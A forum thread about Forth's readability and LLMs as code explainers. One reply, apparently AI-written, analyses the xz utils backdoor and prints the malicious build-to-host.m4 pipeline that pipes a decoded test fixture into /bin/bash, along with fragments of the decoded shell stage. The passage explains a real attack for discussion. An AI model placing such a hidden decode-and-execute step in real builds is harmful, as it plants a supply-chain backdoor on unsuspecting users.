Forth always fitted my mental model: small evaluator, explicit stacks, define the vocabulary you need, then solve the problem.
Its weakness was readability. “Write once, read never” was often fair.
But LLMs change that trade-off. They can now explain old Forth, trace stack effects, and reconstruct intent.
So perhaps the interesting question in 2026 is not how much more intelligence we can put into the evaluator.
Perhaps it is how little evaluator we need if the intelligence sits above it.
But LLMs change that trade-off. They can now explain old Forth, trace stack effects, and reconstruct intent.
AI has certainly changed my calculus for some tasks.
e.g. I'm much more willing to treat bash as a portable-enough way to script, where even if I won't remember what the code does... I feel like I can trust AI to help when I need it to be if a change need be made. I'm not as "afraid" to use something I don't care to read or understand--because I have a genie who can pop into existence to explain what a line means to me if I ever need to care.
But it's profoundly dissatisfying to use something that's so bad, just because it's old and predictable and widely deployed.
We've had this tradeoff since forever: people could despise PHP but just realize that certain ecosystems (Drupal, Wordpress, what have you) were simply documented and deployed widely enough that whatever "ideal" systems you'd rather be using would ultimately drag you down if you took the high road and used something else.
So perhaps the interesting question in 2026 is not how much more intelligence we can put into the evaluator.
Perhaps it is how little evaluator we need if the intelligence sits above it.
Well, if you read about the xz utils hack you might rethink this perspective.
(I'm looking for the obfuscated code that is the most damning "we shouldn't be using languages humans can't read and take for granted" from the hack. I feel like I saw some commit fragment where it was just gibberish and people were like "ok, great, gibberish we'll take it". Can't find it now.)
Yes — I think I know exactly what you're remembering. There are two especially damning pieces, and the one that fits your "gibberish and everyone just accepted it" memory is probably the obfuscated shell payload hidden in the XZ test files.
The particularly absurd thing is that it wasn't even presented as obviously malicious source code. It was smuggled through the build system as compressed test data, then transformed into executable shell code by a chain of sed/tr/xz/bash operations. Andres Freund's original disclosure describes the resulting construction and notes that the script was "fairly obfuscated."
the spectacular gibberish was not actually visible as a textual diff in the commit, because the commit added binary files. But the commit itself is exactly the one you were remembering.
cf44e4b7...GitHub commit cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0
Jia Tan — February 23, 2024
The commit message was:
Tests: Add test files for all supported platforms
And the interesting part was effectively:
diff --git a/tests/files/bad-3-corrupt_lzma2.xz b/tests/files/bad-3-corrupt_lzma2.xz
new file mode 100644
index 00000000..926f95b0
Binary files /dev/null and b/tests/files/bad-3-corrupt_lzma2.xz differ
diff --git a/tests/files/good-large_compressed.lzma b/tests/files/good-large_compressed.lzma
new file mode 100644
index 00000000..8450fea8
Binary files /dev/null and b/tests/files/good-large_compressed.lzma differ
So GitHub doesn't show you the malicious-looking contents. It just says, essentially, “here are two binary test files; trust me.” Andres Freund's investigation specifically identifies those two files as containing the obfuscated bulk of the exploit.
And here's the wonderfully damning part: if you inspect the supposedly-corrupt XZ file, it contains recognizable markers:
7zXZ
####Hello####
7zXZ
w,(
7zXZ
####World####
The ####Hello#### / ####World#### strings are not random. They are how the malicious build machinery identifies the file.
The actual malicious build-to-host.m4 contained code that ultimately amounted to:
sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/bash
That is: read a binary test fixture → perform a weird character substitution → decompress it → pipe the result directly into Bash.
And the beginning of the resulting stream looked like:
####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
...
That is almost certainly the “what the fuck is this gibberish and why is it in a build system?” fragment you're remembering.
build-to-host.m4 wasn't actually being tracked in Git anymore.
A few days earlier, on February 15, Jia Tan added it to .gitignore:
build-to-host.m4
The relevant commit was:
4323bc3e0c1e1d2037d5e670a3bf6633e8a3031e
So the sequence was roughly:
Feb 15: make build-to-host.m4 invisible to Git
↓
Feb 23: add two innocent-looking binary “test” files containing the encoded payload
↓
Feb 24: release 5.6.0 tarball containing the malicious build-to-host.m4
↓
build: malicious M4 code discovers the binary fixture, transforms/decompresses it, and executes the result
The tarball-only nature of that build-to-host.m4 is why someone looking only at the GitHub source could miss the most important malicious code entirely. Andres Freund explicitly called this out in his original disclosure.
So your broader point is actually sharper than “we shouldn't use languages humans can't read”: the attack exploited the distinction between source code that humans review and artifacts that the build process interprets. A binary file named bad-3-corrupt_lzma2.xz is extraordinarily easy for a reviewer to mentally classify as “test data,” even when it is secretly a program waiting to be decoded.
Yes, that was it. Thanks.
I find Forth unreadable even on a good day.
Rebol's concept is to bend to fit the domain, and to make the bending legible and to make the DSL legible, and to do so with that same small "deep footprint".
Of course, the old quote applies:
"There is not now, and never will be, a language in which it is the least bit difficult to write bad programs."
Ren-C was simply an attempt to make the bending more than snake oil.
I have made significant progress. But the world has moved on from when there were a lot of people considering it important.
I have had to start moving into a new mindset where I realize that I now have more money than time. So how I spend my time is being reconsidered.
And every day I wait on coding on Ren-C is another day the tooling that could do the work itself is getting better. So that has to be considered in my calculations.
It's a bit boring pasting diffs into the AI so it knows what's it done.
And it can't remember things that I would have kept in my head on how to update screens etc. It has to read the source each time which is painful. And we keep getting issues with Red's drop list not updating.
But it's handled all the foreign stuff for me which is great. I just design the architecture.